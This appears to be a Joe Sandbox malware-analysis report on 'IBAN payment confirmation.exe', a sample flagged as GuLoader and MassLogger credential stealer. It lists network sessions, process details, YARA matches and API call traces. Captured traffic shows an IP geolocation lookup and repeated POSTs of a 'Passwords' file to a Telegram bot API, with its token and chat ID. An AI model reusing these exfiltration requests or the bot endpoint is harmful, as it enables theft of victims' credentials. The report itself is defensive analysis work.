2024-12-03 14:20:15 UTC	1390	IN	Data Raw: 17 1e 07 02 ee 2a 47 a2 e6 ae a3 aa b7 1b d9 57 ed fa 7c dd 01 90 cf f4 c6 c6 ca c8 0b 40 9c 68 1d dc e8 01 15 14 33 b9 56 46 f7 6f be c8 bc 5f 7e a6 b9 c4 d4 1a f0 3b 37 11 ca a0 91 a4 2d 5c 60 9a 01 42 04 e9 b1 75 80 3e a7 ec 37 85 90 de 52 45 12 50 bb 36 e8 6d 7f 94 82 60 11 e8 fe 45 89 23 ea 11 9b 49 ad c0 91 0e 15 5f c9 89 0b 9d d0 27 c5 7c 0b ac 52 66 b9 c2 aa 39 b7 c3 39 7f 51 fd 45 63 e0 93 ec b2 48 27 ca 75 26 61 f9 70 d4 e4 db c8 07 2d 2e 37 ef 67 97 03 d0 c6 a8 26 16 60 c8 f5 bd 4f 84 84 c6 b8 20 5b ef 13 3c 8e 0e ac 47 eb db 7c cd 6f fb f8 e8 f2 31 6e ba b7 2a fe 93 66 86 27 97 0b 5c cc 9b 6f 27 ca 32 83 bd 9f a0 1d 78 f6 de 20 e9 e6 45 c3 15 f2 98 85 c4 3d 85 22 e8 e2 f0 2e 90 05 6d c2 9f 58 93 97 ad cc 88 1f ff 14 4d 2b fb 73 44 04 5e 30 4e Data Ascii: GW\|@h3VFo_~;7-\`Bu>7REP6m`E#I_'\|Rf99QEcH'u&ap-.7g&`O [<G\|o1nf'\o'2x E=".mXM+sD^0N
2024-12-03 14:20:16 UTC	1390	IN	Data Raw: 94 ce 9f e2 66 08 00 38 80 72 73 14 e8 dd 0a ca 58 00 33 9c 5a 9d 4d b1 f1 52 52 9b d8 98 8a 44 19 35 16 77 6a 9a 75 ed a1 b7 c0 be 2f 1a 04 44 f6 4a e8 1f 72 b2 ef 6f 78 9f 23 14 a6 45 85 98 6b b4 9e 5a e5 40 d2 c3 d5 62 50 08 f2 22 9e 0f b6 20 05 57 b0 6d c5 2a 5a f6 88 f7 34 79 4a 22 25 6b 1d 69 22 60 58 8a 59 ae e1 fa a0 7a 04 03 32 af 41 b4 c3 2c f6 50 df 35 d3 ce 06 d2 20 78 4c 07 02 e4 68 d2 a2 e6 b8 b0 a3 a6 56 cd a9 ed f2 46 c8 0b fa 30 f5 d5 fe db c3 36 56 ab de 35 04 e2 10 1a 09 5f 9a 56 3c ce 28 96 5d b6 55 78 b3 94 3c d4 1a d1 10 30 00 26 a1 91 ae 23 3e b0 e8 9d 58 08 91 ac fa 9c 3e d1 ec ba 85 90 d2 5c f1 7d 83 bd 25 eb 7a b4 83 f6 94 07 ef b6 44 a0 a2 ea 19 80 58 21 ab 9c 0b 17 d2 19 89 7b 8d f5 ae d4 7b 73 c4 b0 65 96 be 73 28 bb e9 67 66 Data Ascii: f8rsX3ZMRRD5wju/DJrox#EkZ@bP" Wm*Z4yJ"%ki"`XYz2A,P5 xLhVF06V5_V<(]Ux<0&#>X>\}%zDX!{{ses(gf
2024-12-03 14:20:16 UTC	1390	IN	Data Raw: e6 db f4 31 a6 5c be c7 fb 76 81 db ca 10 71 1e 5b 38 28 7b c5 4f 90 b0 23 f4 f8 77 94 e4 1a d3 49 ea 77 72 60 45 d1 25 96 16 1a 5d ce fa 65 3d 3a 8a af c3 d5 66 8c 21 f9 a0 bc 98 83 37 e4 bd 80 7b 44 e7 ba 0b 20 23 8c 60 c9 14 44 7d ce b2 75 81 3b 07 95 6b 41 d3 31 54 3f d8 1f 9f bb 83 09 33 35 1f b1 3b db 81 3d 26 b4 58 c7 be 69 fc ec 3d e4 f3 8e ed 98 ff 03 9a ce e2 e0 59 7f de a1 8e c1 66 78 6e c8 96 00 93 13 ed bc ad c7 dc 09 91 bf 51 e7 70 ac dd 61 f6 96 c2 88 8e ec 53 2b 65 31 75 f5 00 4e 84 a6 f9 2f 8d 3f 1e 25 34 79 e1 7b 2e 9b 5c 65 69 9f 26 e7 d9 59 8e 89 64 89 85 5a 01 40 d2 c3 44 68 3f 57 f6 22 94 0f b8 1f 46 44 b7 7a d1 3e 5c c8 68 22 eb 86 62 88 fb 7b 32 49 00 67 2a 1c 56 a0 91 bd 27 7a 04 0f 83 f0 41 9e 88 18 4a 50 df 33 c0 cb 15 c3 24 0a Data Ascii: 1\vq[8({O#wIwr`E%]e=:f!7{D #`D}u;kA1T?35;=&Xi=YfxnQpaS+e1uN/?%4y{.\ei&YdZ@Dh?W"FDz>\h"b{2Ig*V'zAJP3$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49886	104.21.67.152	443	3824	C:\Users\user\Desktop\IBAN payment confirmation.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:20:28 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-03 14:20:28 UTC	878	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:20:28 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 113051 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ABuClFZT0pV54mFjatnlTZsU9qELRBb%2FuTodYEfq2M%2B1Cs62d93qqZNO3f2jroG2RKt83bezSBQ4vYR2%2FXlCodJFBgKtEGuNfY8I%2FxALECZ9f0VwjS8nnpE3uZhXAhYcU4fnWKJe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec432968b1a18c4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1707&min_rtt=1706&rtt_var=641&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1703617&cwnd=169&unsent_bytes=0&cid=8e2d4b20b51a596f&ts=478&x=0"
2024-12-03 14:20:28 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49903	149.154.167.220	443	3824	C:\Users\user\Desktop\IBAN payment confirmation.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:20:36 UTC	299	OUT	POST /bot7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1387340d4cc4 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-03 14:20:36 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 33 38 37 33 34 30 64 34 63 63 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1387340d4cc4Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-03 14:20:36 UTC	346	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 14:20:36 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 14:20:36 UTC	56	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 30 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4c 6f 67 67 65 64 20 6f 75 74 22 7d Data Ascii: {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49913	149.154.167.220	443	3824	C:\Users\user\Desktop\IBAN payment confirmation.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:20:40 UTC	299	OUT	POST /bot7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd13b68e35914e Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-03 14:20:40 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 33 62 36 38 65 33 35 39 31 34 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd13b68e35914eContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-03 14:20:40 UTC	346	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 14:20:40 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 14:20:40 UTC	56	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 30 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4c 6f 67 67 65 64 20 6f 75 74 22 7d Data Ascii: {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49926	149.154.167.220	443	3824	C:\Users\user\Desktop\IBAN payment confirmation.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:20:44 UTC	275	OUT	POST /bot7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd13f0a3b04275 Host: api.telegram.org Content-Length: 1090
2024-12-03 14:20:44 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 33 66 30 61 33 62 30 34 32 37 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd13f0a3b04275Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-03 14:20:45 UTC	346	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 14:20:45 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 14:20:45 UTC	56	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 30 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4c 6f 67 67 65 64 20 6f 75 74 22 7d Data Ascii: {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49935	149.154.167.220	443	3824	C:\Users\user\Desktop\IBAN payment confirmation.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:20:48 UTC	275	OUT	POST /bot7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd141c978a7e02 Host: api.telegram.org Content-Length: 1090
2024-12-03 14:20:48 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 34 31 63 39 37 38 61 37 65 30 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd141c978a7e02Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-03 14:20:48 UTC	346	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 14:20:48 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 14:20:48 UTC	56	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 30 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4c 6f 67 67 65 64 20 6f 75 74 22 7d Data Ascii: {"ok":false,"error_code":400,"description":"Logged out"}

Target ID:	0
Start time:	09:18:42
Start date:	03/12/2024
Path:	C:\Users\user\Desktop\IBAN payment confirmation.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\IBAN payment confirmation.exe"
Imagebase:	0x400000
File size:	715'594 bytes
MD5 hash:	B134B557B86A160168DE0C56BA982EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.1943129976.0000000005351000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:41:54
Start date:	03/12/2024
Path:	C:\Users\user\Desktop\IBAN payment confirmation.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\IBAN payment confirmation.exe"
Imagebase:	0x400000
File size:	715'594 bytes
MD5 hash:	B134B557B86A160168DE0C56BA982EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 0000000B.00000002.2529825283.000000003705A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.2529825283.000000003705A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000B.00000002.2529825283.000000003705A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	20.1%
Dynamic/Decrypted Code Coverage:	15.2%
Signature Coverage:	18.9%
Total number of Nodes:	1510
Total number of Limit Nodes:	45

Executed Functions

Function 0040335A Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 335
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 00403379
SetErrorMode.KERNELBASE(00008001), ref: 00403384
OleInitialize.OLE32(00000000), ref: 0040338B

Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
Part of subcall function 00406254: LoadLibraryA.KERNELBASE(?,?,00000020,0040339D,00000008), ref: 00406271
Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282

SHGetFileInfoW.SHELL32(00420690,00000000,?,000002B4,00000000), ref: 004033B3

Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7

GetCommandLineW.KERNEL32(004281E0,NSIS Error), ref: 004033C8
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\IBAN payment confirmation.exe",00000000), ref: 004033DB
CharNextW.USER32(00000000,"C:\Users\user\Desktop\IBAN payment confirmation.exe",00000020), ref: 00403402
GetTempPathW.KERNEL32(00000400,C:\Users\user~1\AppData\Local\Temp\,00000000,00000020), ref: 0040350B
GetWindowsDirectoryW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,000003FB), ref: 0040351C
lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,\Temp), ref: 00403528
GetTempPathW.KERNEL32(000003FC,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,\Temp), ref: 0040353C
lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,Low), ref: 00403544
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,Low), ref: 00403555
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user~1\AppData\Local\Temp\), ref: 0040355D
DeleteFileW.KERNELBASE(1033), ref: 00403571
OleUninitialize.OLE32(?), ref: 00403621
ExitProcess.KERNEL32 ref: 00403641
lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\IBAN payment confirmation.exe",00000000,?), ref: 0040364D
lstrcmpiW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user~1\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\IBAN payment confirmation.exe",00000000,?), ref: 00403659
CreateDirectoryW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 00403665
SetCurrentDirectoryW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\), ref: 0040366C
DeleteFileW.KERNEL32(0041FE90,0041FE90,?,0042A000,?), ref: 004036C6
CopyFileW.KERNEL32(C:\Users\user\Desktop\IBAN payment confirmation.exe,0041FE90,00000001), ref: 004036DA
CloseHandle.KERNEL32(00000000,0041FE90,0041FE90,?,0041FE90,00000000), ref: 00403707
GetCurrentProcess.KERNEL32(00000028,00000004,00000005,00000004,00000003), ref: 0040375D
ExitWindowsEx.USER32(00000002,00000000), ref: 00403799
ExitProcess.KERNEL32 ref: 004037BC

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet, xrefs: 004034F0, 004035F3, 00403672, 0040367C
C:\Users\user~1\AppData\Local\Temp\, xrefs: 00403500, 00403505, 0040351B, 00403527, 00403536, 00403543, 0040354F, 00403557, 0040364C, 00403658, 00403664, 0040366B, 0040371C
Error launching installer, xrefs: 004035D8
~nsu.tmp, xrefs: 00403647
TEMP, xrefs: 00403550
Low, xrefs: 0040353E
TMP, xrefs: 00403558
C:\Users\user\Desktop, xrefs: 00403652, 00403657, 0040367B
NSIS Error, xrefs: 004033B9
1033, xrefs: 0040356C
C:\Users\user\Desktop\IBAN payment confirmation.exe, xrefs: 004036D5
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040336D
SeShutdownPrivilege, xrefs: 0040376F
\Temp, xrefs: 00403522
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Mixerudstyr, xrefs: 004035FE
"C:\Users\user\Desktop\IBAN payment confirmation.exe", xrefs: 004033CE, 004033D4, 00403595

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: "C:\Users\user\Desktop\IBAN payment confirmation.exe"$1033$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Mixerudstyr$C:\Users\user\Desktop$C:\Users\user\Desktop\IBAN payment confirmation.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$~nsu.tmp
API String ID: 4107622049-1558679116
Opcode ID: 19452a82f84b89d672e287bbd9b4a7210e15b48e73439f139737dd6fa92c6ca7
Instruction ID: adac61535fb2ab45c93a94ea6b46826cba801cc8f349b6914fd9ce0ca4797ca8
Opcode Fuzzy Hash: 19452a82f84b89d672e287bbd9b4a7210e15b48e73439f139737dd6fa92c6ca7
Instruction Fuzzy Hash: 72B1C170904211AAD720BF619D49A3B3EACEB4570AF40453FF542BA2E2D77C9941CB7E

Function 00404B10 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B28
GetDlgItem.USER32(?,00000408), ref: 00404B33
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B7D
LoadBitmapW.USER32(0000006E), ref: 00404B90
SetWindowLongW.USER32(?,000000FC,00405108), ref: 00404BA9
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BBD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BCF
SendMessageW.USER32(?,00001109,00000002), ref: 00404BE5
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404BF1
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C03
DeleteObject.GDI32(00000000), ref: 00404C06
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C31
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C3D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CD3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404CFE
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D12
GetWindowLongW.USER32(?,000000F0), ref: 00404D41
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D4F
ShowWindow.USER32(?,00000005), ref: 00404D60
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E5D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EC2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404ED7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404EFB
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F1B
ImageList_Destroy.COMCTL32(?), ref: 00404F30
GlobalFree.KERNEL32(?), ref: 00404F40
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FB9
SendMessageW.USER32(?,00001102,?,?), ref: 00405062
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405071
InvalidateRect.USER32(?,00000000,00000001), ref: 00405091
ShowWindow.USER32(?,00000000), ref: 004050DF
GetDlgItem.USER32(?,000003FE), ref: 004050EA
ShowWindow.USER32(00000000), ref: 004050F1

Strings

N, xrefs: 00404D9B
, xrefs: 004050C9
M, xrefs: 00404CBA

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
